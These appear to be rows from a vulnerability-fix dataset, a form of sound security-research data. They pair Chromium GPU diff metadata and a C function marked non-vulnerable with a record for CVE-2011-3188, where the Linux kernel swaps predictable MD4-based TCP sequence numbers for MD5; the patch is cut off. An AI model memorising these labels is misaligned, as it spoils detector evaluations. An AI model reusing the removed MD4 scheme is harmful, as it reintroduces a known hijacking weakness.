"status": "modified", "additions": 1, "deletions": 0, "changes": 1, "blob_url": "https://github.com/chromium/chromium/blob/a4150b688a754d3d10d2ca385155b1c95d77d6ae/third_party/blink/tools/blinkpy/presubmit/audit_non_blink_usage.py", "raw_url": "https://github.com/chromium/chromium/raw/a4150b688a754d3d10d2ca385155b1c95d77d6ae/third_party/blink/tools/blinkpy/presubmit/audit_non_blink_usage.py", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/blink/tools/blinkpy/presubmit/audit_non_blink_usage.py?ref=a4150b688a754d3d10d2ca385155b1c95d77d6ae", "patch": "@@ -525,6 +525,7 @@\n # The modules listed above need access to the following GL drawing and\n # display-related types.\n 'allowed': [\n+ 'base::MRUCache',\n 'gpu::gles2::GLES2Interface',\n 'gpu::MailboxHolder',\n 'display::Display',"}<_**next**_>{"sha": "a44e71b699f0f959526fa5f6dc84b71abc3444c1", "filename": "ui/gl/gl_bindings.h", "status": "modified", "additions": 3, "deletions": 0, "changes": 3, "blob_url": "https://github.com/chromium/chromium/blob/a4150b688a754d3d10d2ca385155b1c95d77d6ae/ui/gl/gl_bindings.h", "raw_url": "https://github.com/chromium/chromium/raw/a4150b688a754d3d10d2ca385155b1c95d77d6ae/ui/gl/gl_bindings.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/ui/gl/gl_bindings.h?ref=a4150b688a754d3d10d2ca385155b1c95d77d6ae", "patch": "@@ -151,6 +151,9 @@\n /* GL_CHROMIUM_command_buffer_latency_query */\n #define GL_LATENCY_QUERY_CHROMIUM 0x6007\n \n+/* GL_CHROMIUM_program_completion_query */\n+#define GL_PROGRAM_COMPLETION_QUERY_CHROMIUM 0x6009\n+\n /* GL_CHROMIUM_async_pixel_transfers */\n #define GL_ASYNC_PIXEL_PACK_COMPLETED_CHROMIUM 0x6006\n "}
|
void GLES2Implementation::DeleteRenderbuffersHelper(
GLsizei n,
const GLuint* renderbuffers) {
if (!GetIdHandler(SharedIdNamespaces::kRenderbuffers)
->FreeIds(this, n, renderbuffers,
&GLES2Implementation::DeleteRenderbuffersStub)) {
SetGLError(GL_INVALID_VALUE, "glDeleteRenderbuffers",
"id not created by this context.");
return;
}
for (GLsizei ii = 0; ii < n; ++ii) {
if (renderbuffers[ii] == bound_renderbuffer_) {
bound_renderbuffer_ = 0;
}
}
}
|
void GLES2Implementation::DeleteRenderbuffersHelper(
GLsizei n,
const GLuint* renderbuffers) {
if (!GetIdHandler(SharedIdNamespaces::kRenderbuffers)
->FreeIds(this, n, renderbuffers,
&GLES2Implementation::DeleteRenderbuffersStub)) {
SetGLError(GL_INVALID_VALUE, "glDeleteRenderbuffers",
"id not created by this context.");
return;
}
for (GLsizei ii = 0; ii < n; ++ii) {
if (renderbuffers[ii] == bound_renderbuffer_) {
bound_renderbuffer_ = 0;
}
}
}
|
C
| null | null | null |
@@ -6078,6 +6078,7 @@ void GLES2Implementation::BeginQueryEXT(GLenum target, GLuint id) {
case GL_LATENCY_QUERY_CHROMIUM:
case GL_ASYNC_PIXEL_PACK_COMPLETED_CHROMIUM:
case GL_GET_ERROR_QUERY_CHROMIUM:
+ case GL_PROGRAM_COMPLETION_QUERY_CHROMIUM:
break;
case GL_READBACK_SHADOW_COPIES_UPDATED_CHROMIUM:
case GL_COMMANDS_COMPLETED_CHROMIUM:
|
Chrome
|
a4150b688a754d3d10d2ca385155b1c95d77d6ae
|
afa5506de063d1d6fd1a854c825b568337c29bc7
| 0
|
void GLES2Implementation::DeleteRenderbuffersHelper(
GLsizei n,
const GLuint* renderbuffers) {
if (!GetIdHandler(SharedIdNamespaces::kRenderbuffers)
->FreeIds(this, n, renderbuffers,
&GLES2Implementation::DeleteRenderbuffersStub)) {
SetGLError(GL_INVALID_VALUE, "glDeleteRenderbuffers",
"id not created by this context.");
return;
}
for (GLsizei ii = 0; ii < n; ++ii) {
if (renderbuffers[ii] == bound_renderbuffer_) {
bound_renderbuffer_ = 0;
}
}
}
|
25,173
| null |
Remote
|
Not required
|
Partial
|
CVE-2011-3188
|
https://www.cvedetails.com/cve/CVE-2011-3188/
| null |
Medium
|
Partial
|
Partial
| null |
2012-05-24
| 6.8
|
The (1) IPv4 and (2) IPv6 implementations in the Linux kernel before 3.1 use a modified MD4 algorithm to generate sequence numbers and Fragment Identification values, which makes it easier for remote attackers to cause a denial of service (disrupted networking) or hijack network sessions by predicting these values and sending crafted packets.
|
2016-08-22
|
DoS
| 0
|
https://github.com/torvalds/linux/commit/6e5714eaf77d79ae1c8b47e3e040ff5411b717ec
|
6e5714eaf77d79ae1c8b47e3e040ff5411b717ec
|
net: Compute protocol sequence numbers and fragment IDs using MD5.
Computers have become a lot faster since we compromised on the
partial MD4 hash which we use currently for performance reasons.
MD5 is a much safer choice, and is inline with both RFC1948 and
other ISS generators (OpenBSD, Solaris, etc.)
Furthermore, only having 24-bits of the sequence number be truly
unpredictable is a very serious limitation. So the periodic
regeneration and 8-bit counter have been removed. We compute and
use a full 32-bit sequence number.
For ipv6, DCCP was found to use a 32-bit truncated initial sequence
number (it needs 43-bits) and that is fixed here as well.
Reported-by: Dan Kaminsky <dan@doxpara.com>
Tested-by: Willy Tarreau <w@1wt.eu>
Signed-off-by: David S. Miller <davem@davemloft.net>
| 0
|
net/ipv4/route.c
|
{"sha": "c35a785005b08e132f23447ac31365853b5acd9c", "filename": "drivers/char/random.c", "status": "modified", "additions": 8, "deletions": 341, "changes": 349, "blob_url": "https://github.com/torvalds/linux/blob/6e5714eaf77d79ae1c8b47e3e040ff5411b717ec/drivers/char/random.c", "raw_url": "https://github.com/torvalds/linux/raw/6e5714eaf77d79ae1c8b47e3e040ff5411b717ec/drivers/char/random.c", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/drivers/char/random.c?ref=6e5714eaf77d79ae1c8b47e3e040ff5411b717ec", "patch": "@@ -1300,363 +1300,30 @@ ctl_table random_table[] = {\n };\n #endif \t/* CONFIG_SYSCTL */\n \n-/********************************************************************\n- *\n- * Random functions for networking\n- *\n- ********************************************************************/\n-\n-/*\n- * TCP initial sequence number picking. This uses the random number\n- * generator to pick an initial secret value. This value is hashed\n- * along with the TCP endpoint information to provide a unique\n- * starting point for each pair of TCP endpoints. This defeats\n- * attacks which rely on guessing the initial TCP sequence number.\n- * This algorithm was suggested by Steve Bellovin.\n- *\n- * Using a very strong hash was taking an appreciable amount of the total\n- * TCP connection establishment time, so this is a weaker hash,\n- * compensated for by changing the secret periodically.\n- */\n-\n-/* F, G and H are basic MD4 functions: selection, majority, parity */\n-#define F(x, y, z) ((z) ^ ((x) & ((y) ^ (z))))\n-#define G(x, y, z) (((x) & (y)) + (((x) ^ (y)) & (z)))\n-#define H(x, y, z) ((x) ^ (y) ^ (z))\n-\n-/*\n- * The generic round function. The application is so specific that\n- * we don't bother protecting all the arguments with parens, as is generally\n- * good macro practice, in favor of extra legibility.\n- * Rotation is separate from addition to prevent recomputation\n- */\n-#define ROUND(f, a, b, c, d, x, s)\t\\\n-\t(a += f(b, c, d) + x, a = (a << s) | (a >> (32 - s)))\n-#define K1 0\n-#define K2 013240474631UL\n-#define K3 015666365641UL\n-\n-#if defined(CONFIG_IPV6) || defined(CONFIG_IPV6_MODULE)\n-\n-static __u32 twothirdsMD4Transform(__u32 const buf[4], __u32 const in[12])\n-{\n-\t__u32 a = buf[0], b = buf[1], c = buf[2], d = buf[3];\n-\n-\t/* Round 1 */\n-\tROUND(F, a, b, c, d, in[ 0] + K1, 3);\n-\tROUND(F, d, a, b, c, in[ 1] + K1, 7);\n-\tROUND(F, c, d, a, b, in[ 2] + K1, 11);\n-\tROUND(F, b, c, d, a, in[ 3] + K1, 19);\n-\tROUND(F, a, b, c, d, in[ 4] + K1, 3);\n-\tROUND(F, d, a, b, c, in[ 5] + K1, 7);\n-\tROUND(F, c, d, a, b, in[ 6] + K1, 11);\n-\tROUND(F, b, c, d, a, in[ 7] + K1, 19);\n-\tROUND(F, a, b, c, d, in[ 8] + K1, 3);\n-\tROUND(F, d, a, b, c, in[ 9] + K1, 7);\n-\tROUND(F, c, d, a, b, in[10] + K1, 11);\n-\tROUND(F, b, c, d, a, in[11] + K1, 19);\n-\n-\t/* Round 2 */\n-\tROUND(G, a, b, c, d, in[ 1] + K2, 3);\n-\tROUND(G, d, a, b, c, in[ 3] + K2, 5);\n-\tROUND(G, c, d, a, b, in[ 5] + K2, 9);\n-\tROUND(G, b, c, d, a, in[ 7] + K2, 13);\n-\tROUND(G, a, b, c, d, in[ 9] + K2, 3);\n-\tROUND(G, d, a, b, c, in[11] + K2, 5);\n-\tROUND(G, c, d, a, b, in[ 0] + K2, 9);\n-\tROUND(G, b, c, d, a, in[ 2] + K2, 13);\n-\tROUND(G, a, b, c, d, in[ 4] + K2, 3);\n-\tROUND(G, d, a, b, c, in[ 6] + K2, 5);\n-\tROUND(G, c, d, a, b, in[ 8] + K2, 9);\n-\tROUND(G, b, c, d, a, in[10] + K2, 13);\n-\n-\t/* Round 3 */\n-\tROUND(H, a, b, c, d, in[ 3] + K3, 3);\n-\tROUND(H, d, a, b, c, in[ 7] + K3, 9);\n-\tROUND(H, c, d, a, b, in[11] + K3, 11);\n-\tROUND(H, b, c, d, a, in[ 2] + K3, 15);\n-\tROUND(H, a, b, c, d, in[ 6] + K3, 3);\n-\tROUND(H, d, a, b, c, in[10] + K3, 9);\n-\tROUND(H, c, d, a, b, in[ 1] + K3, 11);\n-\tROUND(H, b, c, d, a, in[ 5] + K3, 15);\n-\tROUND(H, a, b, c, d, in[ 9] + K3, 3);\n-\tROUND(H, d, a, b, c, in[ 0] + K3, 9);\n-\tROUND(H, c, d, a, b, in[ 4] + K3, 11);\n-\tROUND(H, b, c, d, a, in[ 8] + K3, 15);\n-\n-\treturn buf[1] + b; /* \"most hashed\" word */\n-\t/* Alternative: return sum of all words? */\n-}\n-#endif\n-\n-#undef ROUND\n-#undef F\n-#undef G\n-#undef H\n-#undef K1\n-#undef K2\n-#undef K3\n-\n-/* This should not be decreased so low that ISNs wrap too fast. */\n-#define REKEY_INTERVAL (300 * HZ)\n-/*\n- * Bit layout of the tcp sequence numbers (before adding current time):\n- * bit 24-31: increased after every key exchange\n- * bit 0-23: hash(source,dest)\n- *\n- * The implementation is similar to the algorithm described\n- * in the Appendix of RFC 1185, except that\n- * - it uses a 1 MHz clock instead of a 250 kHz clock\n- * - it performs a rekey every 5 minutes, which is equivalent\n- * \tto a (source,dest) tulple dependent forward jump of the\n- * \tclock by 0..2^(HASH_BITS+1)\n- *\n- * Thus the average ISN wraparound time is 68 minutes instead of\n- * 4.55 hours.\n- *\n- * SMP cleanup and lock avoidance with poor man's RCU.\n- * \t\t\tManfred Spraul <manfred@colorfullife.com>\n- *\n- */\n-#define COUNT_BITS 8\n-#define COUNT_MASK ((1 << COUNT_BITS) - 1)\n-#define HASH_BITS 24\n-#define HASH_MASK ((1 << HASH_BITS) - 1)\n+static u32 random_int_secret[MD5_MESSAGE_BYTES / 4] ____cacheline_aligned;\n \n-static struct keydata {\n-\t__u32 count; /* already shifted to the final position */\n-\t__u32 secret[12];\n-} ____cacheline_aligned ip_keydata[2];\n-\n-static unsigned int ip_cnt;\n-\n-static void rekey_seq_generator(struct work_struct *work);\n-\n-static DECLARE_DELAYED_WORK(rekey_work, rekey_seq_generator);\n-\n-/*\n- * Lock avoidance:\n- * The ISN generation runs lockless - it's just a hash over random data.\n- * State changes happen every 5 minutes when the random key is replaced.\n- * Synchronization is performed by having two copies of the hash function\n- * state and rekey_seq_generator always updates the inactive copy.\n- * The copy is then activated by updating ip_cnt.\n- * The implementation breaks down if someone blocks the thread\n- * that processes SYN requests for more than 5 minutes. Should never\n- * happen, and even if that happens only a not perfectly compliant\n- * ISN is generated, nothing fatal.\n- */\n-static void rekey_seq_generator(struct work_struct *work)\n+static int __init random_int_secret_init(void)\n {\n-\tstruct keydata *keyptr = &ip_keydata[1 ^ (ip_cnt & 1)];\n-\n-\tget_random_bytes(keyptr->secret, sizeof(keyptr->secret));\n-\tkeyptr->count = (ip_cnt & COUNT_MASK) << HASH_BITS;\n-\tsmp_wmb();\n-\tip_cnt++;\n-\tschedule_delayed_work(&rekey_work,\n-\t\t\t round_jiffies_relative(REKEY_INTERVAL));\n-}\n-\n-static inline struct keydata *get_keyptr(void)\n-{\n-\tstruct keydata *keyptr = &ip_keydata[ip_cnt & 1];\n-\n-\tsmp_rmb();\n-\n-\treturn keyptr;\n-}\n-\n-static __init int seqgen_init(void)\n-{\n-\trekey_seq_generator(NULL);\n+\tget_random_bytes(random_int_secret, sizeof(random_int_secret));\n \treturn 0;\n }\n-late_initcall(seqgen_init);\n-\n-#if defined(CONFIG_IPV6) || defined(CONFIG_IPV6_MODULE)\n-__u32 secure_tcpv6_sequence_number(__be32 *saddr, __be32 *daddr,\n-\t\t\t\t __be16 sport, __be16 dport)\n-{\n-\t__u32 seq;\n-\t__u32 hash[12];\n-\tstruct keydata *keyptr = get_keyptr();\n-\n-\t/* The procedure is the same as for IPv4, but addresses are longer.\n-\t * Thus we must use twothirdsMD4Transform.\n-\t */\n-\n-\tmemcpy(hash, saddr, 16);\n-\thash[4] = ((__force u16)sport << 16) + (__force u16)dport;\n-\tmemcpy(&hash[5], keyptr->secret, sizeof(__u32) * 7);\n-\n-\tseq = twothirdsMD4Transform((const __u32 *)daddr, hash) & HASH_MASK;\n-\tseq += keyptr->count;\n-\n-\tseq += ktime_to_ns(ktime_get_real());\n-\n-\treturn seq;\n-}\n-EXPORT_SYMBOL(secure_tcpv6_sequence_number);\n-#endif\n-\n-/* The code below is shamelessly stolen from secure_tcp_sequence_number().\n- * All blames to Andrey V. Savochkin <saw@msu.ru>.\n- */\n-__u32 secure_ip_id(__be32 daddr)\n-{\n-\tstruct keydata *keyptr;\n-\t__u32 hash[4];\n-\n-\tkeyptr = get_keyptr();\n-\n-\t/*\n-\t * Pick a unique starting offset for each IP destination.\n-\t * The dest ip address is placed in the starting vector,\n-\t * which is then hashed with random data.\n-\t */\n-\thash[0] = (__force __u32)daddr;\n-\thash[1] = keyptr->secret[9];\n-\thash[2] = keyptr->secret[10];\n-\thash[3] = keyptr->secret[11];\n-\n-\treturn half_md4_transform(hash, keyptr->secret);\n-}\n-\n-__u32 secure_ipv6_id(const __be32 daddr[4])\n-{\n-\tconst struct keydata *keyptr;\n-\t__u32 hash[4];\n-\n-\tkeyptr = get_keyptr();\n-\n-\thash[0] = (__force __u32)daddr[0];\n-\thash[1] = (__force __u32)daddr[1];\n-\thash[2] = (__force __u32)daddr[2];\n-\thash[3] = (__force __u32)daddr[3];\n-\n-\treturn half_md4_transform(hash, keyptr->secret);\n-}\n-\n-#ifdef CONFIG_INET\n-\n-__u32 secure_tcp_sequence_number(__be32 saddr, __be32 daddr,\n-\t\t\t\t __be16 sport, __be16 dport)\n-{\n-\t__u32 seq;\n-\t__u32 hash[4];\n-\tstruct keydata *keyptr = get_keyptr();\n-\n-\t/*\n-\t * Pick a unique starting offset for each TCP connection endpoints\n-\t * (saddr, daddr, sport, dport).\n-\t * Note that the words are placed into the starting vector, which is\n-\t * then mixed with a partial MD4 over random data.\n-\t */\n-\thash[0] = (__force u32)saddr;\n-\thash[1] = (__force u32)daddr;\n-\thash[2] = ((__force u16)sport << 16) + (__force u16)dport;\n-\thash[3] = keyptr->secret[11];\n-\n-\tseq = half_md4_transform(hash, keyptr->secret) & HASH_MASK;\n-\tseq += keyptr->count;\n-\t/*\n-\t *\tAs close as possible to RFC 793, which\n-\t *\tsuggests using a 250 kHz clock.\n-\t *\tFurther reading shows this assumes 2 Mb/s networks.\n-\t *\tFor 10 Mb/s Ethernet, a 1 MHz clock is appropriate.\n-\t *\tFor 10 Gb/s Ethernet, a 1 GHz clock should be ok, but\n-\t *\twe also need to limit the resolution so that the u32 seq\n-\t *\toverlaps less than one time per MSL (2 minutes).\n-\t *\tChoosing a clock of 64 ns period is OK. (period of 274 s)\n-\t */\n-\tseq += ktime_to_ns(ktime_get_real()) >> 6;\n-\n-\treturn seq;\n-}\n-\n-/* Generate secure starting point for ephemeral IPV4 transport port search */\n-u32 secure_ipv4_port_ephemeral(__be32 saddr, __be32 daddr, __be16 dport)\n-{\n-\tstruct keydata *keyptr = get_keyptr();\n-\tu32 hash[4];\n-\n-\t/*\n-\t * Pick a unique starting offset for each ephemeral port search\n-\t * (saddr, daddr, dport) and 48bits of random data.\n-\t */\n-\thash[0] = (__force u32)saddr;\n-\thash[1] = (__force u32)daddr;\n-\thash[2] = (__force u32)dport ^ keyptr->secret[10];\n-\thash[3] = keyptr->secret[11];\n-\n-\treturn half_md4_transform(hash, keyptr->secret);\n-}\n-EXPORT_SYMBOL_GPL(secure_ipv4_port_ephemeral);\n-\n-#if defined(CONFIG_IPV6) || defined(CONFIG_IPV6_MODULE)\n-u32 secure_ipv6_port_ephemeral(const __be32 *saddr, const __be32 *daddr,\n-\t\t\t __be16 dport)\n-{\n-\tstruct keydata *keyptr = get_keyptr();\n-\tu32 hash[12];\n-\n-\tmemcpy(hash, saddr, 16);\n-\thash[4] = (__force u32)dport;\n-\tmemcpy(&hash[5], keyptr->secret, sizeof(__u32) * 7);\n-\n-\treturn twothirdsMD4Transform((const __u32 *)daddr, hash);\n-}\n-#endif\n-\n-#if defined(CONFIG_IP_DCCP) || defined(CONFIG_IP_DCCP_MODULE)\n-/* Similar to secure_tcp_sequence_number but generate a 48 bit value\n- * bit's 32-47 increase every key exchange\n- * 0-31 hash(source, dest)\n- */\n-u64 secure_dccp_sequence_number(__be32 saddr, __be32 daddr,\n-\t\t\t\t__be16 sport, __be16 dport)\n-{\n-\tu64 seq;\n-\t__u32 hash[4];\n-\tstruct keydata *keyptr = get_keyptr();\n-\n-\thash[0] = (__force u32)saddr;\n-\thash[1] = (__force u32)daddr;\n-\thash[2] = ((__force u16)sport << 16) + (__force u16)dport;\n-\thash[3] = keyptr->secret[11];\n-\n-\tseq = half_md4_transform(hash, keyptr->secret);\n-\tseq |= ((u64)keyptr->count) << (32 - HASH_BITS);\n-\n-\tseq += ktime_to_ns(ktime_get_real());\n-\tseq &= (1ull << 48) - 1;\n-\n-\treturn seq;\n-}\n-EXPORT_SYMBOL(secure_dccp_sequence_number);\n-#endif\n-\n-#endif /* CONFIG_INET */\n-\n+late_initcall(random_int_secret_init);\n \n /*\n * Get a random word for internal kernel use only. Similar to urandom but\n * with the goal of minimal entropy pool depletion. As a result, the random\n * value is not cryptographically secure but for several uses the cost of\n * depleting entropy is too high\n */\n-DEFINE_PER_CPU(__u32 [4], get_random_int_hash);\n+DEFINE_PER_CPU(__u32 [MD5_DIGEST_WORDS], get_random_int_hash);\n unsigned int get_random_int(void)\n {\n-\tstruct keydata *keyptr;\n \t__u32 *hash = get_cpu_var(get_random_int_hash);\n-\tint ret;\n+\tunsigned int ret;\n \n-\tkeyptr = get_keyptr();\n \thash[0] += current->pid + jiffies + get_cycles();\n-\n-\tret = half_md4_transform(hash, keyptr->secret);\n+\tmd5_transform(hash, random_int_secret);\n+\tret = hash[0];\n \tput_cpu_var(get_random_int_hash);\n \n \treturn ret;"}<_**next**_>{"sha": "d13059f3ea32e5ab08859c08d71ac04a4d31817d", "filename": "include/linux/random.h", "status": "modified", "additions": 0, "deletions": 12, "changes": 12, "blob_url": "https://github.com/torvalds/linux/blob/6e5714eaf77d79ae1c8b47e3e040ff5411b717ec/include/linux/random.h", "raw_url": "https://github.com/torvalds/linux/raw/6e5714eaf77d79ae1c8b47e3e040ff5411b717ec/include/linux/random.h", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/include/linux/random.h?ref=6e5714eaf77d79ae1c8b47e3e040ff5411b717ec", "patch": "@@ -57,18 +57,6 @@ extern void add_interrupt_randomness(int irq);\n extern void get_random_bytes(void *buf, int nbytes);\n void generate_random_uuid(unsigned char uuid_out[16]);\n \n-extern __u32 secure_ip_id(__be32 daddr);\n-extern __u32 secure_ipv6_id(const __be32 daddr[4]);\n-extern u32 secure_ipv4_port_ephemeral(__be32 saddr, __be32 daddr, __be16 dport);\n-extern u32 secure_ipv6_port_ephemeral(const __be32 *saddr, const __be32 *daddr,\n-\t\t\t\t __be16 dport);\n-extern __u32 secure_tcp_sequence_number(__be32 saddr, __be32 daddr,\n-\t\t\t\t\t__be16 sport, __be16 dport);\n-extern __u32 secure_tcpv6_sequence_number(__be32 *saddr, __be32 *daddr,\n-\t\t\t\t\t __be16 sport, __be16 dport);\n-extern u64 secure_dccp_sequence_number(__be32 saddr, __be32 daddr,\n-\t\t\t\t __be16 sport, __be16 dport);\n-\n #ifndef MODULE\n extern const struct file_operations random_fops, urandom_fops;\n #endif"}<_**next**_>{"sha": "d97f6892c0190d83db806f4c5137d47208a3780a", "filename": "include/net/secure_seq.h", "status": "added", "additions": 20, "deletions": 0, "changes": 20, "blob_url": "https://github.com/torvalds/linux/blob/6e5714eaf77d79ae1c8b47e3e040ff5411b717ec/include/net/secure_seq.h", "raw_url": "https://github.com/torvalds/linux/raw/6e5714eaf77d79ae1c8b47e3e040ff5411b717ec/include/net/secure_seq.h", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/include/net/secure_seq.h?ref=6e5714eaf77d79ae1c8b47e3e040ff5411b717ec", "patch": "@@ -0,0 +1,20 @@\n+#ifndef _NET_SECURE_SEQ\n+#define _NET_SECURE_SEQ\n+\n+#include <linux/types.h>\n+\n+extern __u32 secure_ip_id(__be32 daddr);\n+extern __u32 secure_ipv6_id(const __be32 daddr[4]);\n+extern u32 secure_ipv4_port_ephemeral(__be32 saddr, __be32 daddr, __be16 dport);\n+extern u32 secure_ipv6_port_ephemeral(const __be32 *saddr, const __be32 *daddr,\n+\t\t\t\t __be16 dport);\n+extern __u32 secure_tcp_sequence_number(__be32 saddr, __be32 daddr,\n+\t\t\t\t\t__be16 sport, __be16 dport);\n+extern __u32 secure_tcpv6_sequence_number(__be32 *saddr, __be32 *daddr,\n+\t\t\t\t\t __be16 sport, __be16 dport);\n+extern u64 secure_dccp_sequence_number(__be32 saddr, __be32 daddr,\n+\t\t\t\t __be16 sport, __be16 dport);\n+extern u64 secure_dccpv6_sequence_number(__be32 *saddr, __be32 *daddr,\n+\t\t\t\t\t __be16 sport, __be16 dport);\n+\n+#endif /* _NET_SECURE_SEQ */"}<_**next**_>{"sha": "0d357b1c4e57db42d6a1938c0a7a870455fa7b1b", "filename": "net/core/Makefile", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/torvalds/linux/blob/6e5714eaf77d79ae1c8b47e3e040ff5411b717ec/net/core/Makefile", "raw_url": "https://github.com/torvalds/linux/raw/6e5714eaf77d79ae1c8b47e3e040ff5411b717ec/net/core/Makefile", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/net/core/Makefile?ref=6e5714eaf77d79ae1c8b47e3e040ff5411b717ec", "patch": "@@ -3,7 +3,7 @@\n #\n \n obj-y := sock.o request_sock.o skbuff.o iovec.o datagram.o stream.o scm.o \\\n-\t gen_stats.o gen_estimator.o net_namespace.o\n+\t gen_stats.o gen_estimator.o net_namespace.o secure_seq.o\n \n obj-$(CONFIG_SYSCTL) += sysctl_net_core.o\n "}<_**next**_>{"sha": "45329d7c9dd9bec432a933804c00ee45fc43bbe4", "filename": "net/core/secure_seq.c", "status": "added", "additions": 184, "deletions": 0, "changes": 184, "blob_url": "https://github.com/torvalds/linux/blob/6e5714eaf77d79ae1c8b47e3e040ff5411b717ec/net/core/secure_seq.c", "raw_url": "https://github.com/torvalds/linux/raw/6e5714eaf77d79ae1c8b47e3e040ff5411b717ec/net/core/secure_seq.c", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/net/core/secure_seq.c?ref=6e5714eaf77d79ae1c8b47e3e040ff5411b717ec", "patch": "@@ -0,0 +1,184 @@\n+#include <linux/kernel.h>\n+#include <linux/init.h>\n+#include <linux/cryptohash.h>\n+#include <linux/module.h>\n+#include <linux/cache.h>\n+#include <linux/random.h>\n+#include <linux/hrtimer.h>\n+#include <linux/ktime.h>\n+#include <linux/string.h>\n+\n+#include <net/secure_seq.h>\n+\n+static u32 net_secret[MD5_MESSAGE_BYTES / 4] ____cacheline_aligned;\n+\n+static int __init net_secret_init(void)\n+{\n+\tget_random_bytes(net_secret, sizeof(net_secret));\n+\treturn 0;\n+}\n+late_initcall(net_secret_init);\n+\n+static u32 seq_scale(u32 seq)\n+{\n+\t/*\n+\t *\tAs close as possible to RFC 793, which\n+\t *\tsuggests using a 250 kHz clock.\n+\t *\tFurther reading shows this assumes 2 Mb/s networks.\n+\t *\tFor 10 Mb/s Ethernet, a 1 MHz clock is appropriate.\n+\t *\tFor 10 Gb/s Ethernet, a 1 GHz clock should be ok, but\n+\t *\twe also need to limit the resolution so that the u32 seq\n+\t *\toverlaps less than one time per MSL (2 minutes).\n+\t *\tChoosing a clock of 64 ns period is OK. (period of 274 s)\n+\t */\n+\treturn seq + (ktime_to_ns(ktime_get_real()) >> 6);\n+}\n+\n+#if defined(CONFIG_IPV6) || defined(CONFIG_IPV6_MODULE)\n+__u32 secure_tcpv6_sequence_number(__be32 *saddr, __be32 *daddr,\n+\t\t\t\t __be16 sport, __be16 dport)\n+{\n+\tu32 secret[MD5_MESSAGE_BYTES / 4];\n+\tu32 hash[MD5_DIGEST_WORDS];\n+\tu32 i;\n+\n+\tmemcpy(hash, saddr, 16);\n+\tfor (i = 0; i < 4; i++)\n+\t\tsecret[i] = net_secret[i] + daddr[i];\n+\tsecret[4] = net_secret[4] +\n+\t\t(((__force u16)sport << 16) + (__force u16)dport);\n+\tfor (i = 5; i < MD5_MESSAGE_BYTES / 4; i++)\n+\t\tsecret[i] = net_secret[i];\n+\n+\tmd5_transform(hash, secret);\n+\n+\treturn seq_scale(hash[0]);\n+}\n+EXPORT_SYMBOL(secure_tcpv6_sequence_number);\n+\n+u32 secure_ipv6_port_ephemeral(const __be32 *saddr, const __be32 *daddr,\n+\t\t\t __be16 dport)\n+{\n+\tu32 secret[MD5_MESSAGE_BYTES / 4];\n+\tu32 hash[MD5_DIGEST_WORDS];\n+\tu32 i;\n+\n+\tmemcpy(hash, saddr, 16);\n+\tfor (i = 0; i < 4; i++)\n+\t\tsecret[i] = net_secret[i] + (__force u32) daddr[i];\n+\tsecret[4] = net_secret[4] + (__force u32)dport;\n+\tfor (i = 5; i < MD5_MESSAGE_BYTES / 4; i++)\n+\t\tsecret[i] = net_secret[i];\n+\n+\tmd5_transform(hash, secret);\n+\n+\treturn hash[0];\n+}\n+#endif\n+\n+#ifdef CONFIG_INET\n+__u32 secure_ip_id(__be32 daddr)\n+{\n+\tu32 hash[MD5_DIGEST_WORDS];\n+\n+\thash[0] = (__force __u32) daddr;\n+\thash[1] = net_secret[13];\n+\thash[2] = net_secret[14];\n+\thash[3] = net_secret[15];\n+\n+\tmd5_transform(hash, net_secret);\n+\n+\treturn hash[0];\n+}\n+\n+__u32 secure_ipv6_id(const __be32 daddr[4])\n+{\n+\t__u32 hash[4];\n+\n+\tmemcpy(hash, daddr, 16);\n+\tmd5_transform(hash, net_secret);\n+\n+\treturn hash[0];\n+}\n+\n+__u32 secure_tcp_sequence_number(__be32 saddr, __be32 daddr,\n+\t\t\t\t __be16 sport, __be16 dport)\n+{\n+\tu32 hash[MD5_DIGEST_WORDS];\n+\n+\thash[0] = (__force u32)saddr;\n+\thash[1] = (__force u32)daddr;\n+\thash[2] = ((__force u16)sport << 16) + (__force u16)dport;\n+\thash[3] = net_secret[15];\n+\n+\tmd5_transform(hash, net_secret);\n+\n+\treturn seq_scale(hash[0]);\n+}\n+\n+u32 secure_ipv4_port_ephemeral(__be32 saddr, __be32 daddr, __be16 dport)\n+{\n+\tu32 hash[MD5_DIGEST_WORDS];\n+\n+\thash[0] = (__force u32)saddr;\n+\thash[1] = (__force u32)daddr;\n+\thash[2] = (__force u32)dport ^ net_secret[14];\n+\thash[3] = net_secret[15];\n+\n+\tmd5_transform(hash, net_secret);\n+\n+\treturn hash[0];\n+}\n+EXPORT_SYMBOL_GPL(secure_ipv4_port_ephemeral);\n+#endif\n+\n+#if defined(CONFIG_IP_DCCP) || defined(CONFIG_IP_DCCP_MODULE)\n+u64 secure_dccp_sequence_number(__be32 saddr, __be32 daddr,\n+\t\t\t\t__be16 sport, __be16 dport)\n+{\n+\tu32 hash[MD5_DIGEST_WORDS];\n+\tu64 seq;\n+\n+\thash[0] = (__force u32)saddr;\n+\thash[1] = (__force u32)daddr;\n+\thash[2] = ((__force u16)sport << 16) + (__force u16)dport;\n+\thash[3] = net_secret[15];\n+\n+\tmd5_transform(hash, net_secret);\n+\n+\tseq = hash[0] | (((u64)hash[1]) << 32);\n+\tseq += ktime_to_ns(ktime_get_real());\n+\tseq &= (1ull << 48) - 1;\n+\n+\treturn seq;\n+}\n+EXPORT_SYMBOL(secure_dccp_sequence_number);\n+\n+#if defined(CONFIG_IPV6) || defined(CONFIG_IPV6_MODULE)\n+u64 secure_dccpv6_sequence_number(__be32 *saddr, __be32 *daddr,\n+\t\t\t\t __be16 sport, __be16 dport)\n+{\n+\tu32 secret[MD5_MESSAGE_BYTES / 4];\n+\tu32 hash[MD5_DIGEST_WORDS];\n+\tu64 seq;\n+\tu32 i;\n+\n+\tmemcpy(hash, saddr, 16);\n+\tfor (i = 0; i < 4; i++)\n+\t\tsecret[i] = net_secret[i] + daddr[i];\n+\tsecret[4] = net_secret[4] +\n+\t\t(((__force u16)sport << 16) + (__force u16)dport);\n+\tfor (i = 5; i < MD5_MESSAGE_BYTES / 4; i++)\n+\t\tsecret[i] = net_secret[i];\n+\n+\tmd5_transform(hash, secret);\n+\n+\tseq = hash[0] | (((u64)hash[1]) << 32);\n+\tseq += ktime_to_ns(ktime_get_real());\n+\tseq &= (1ull 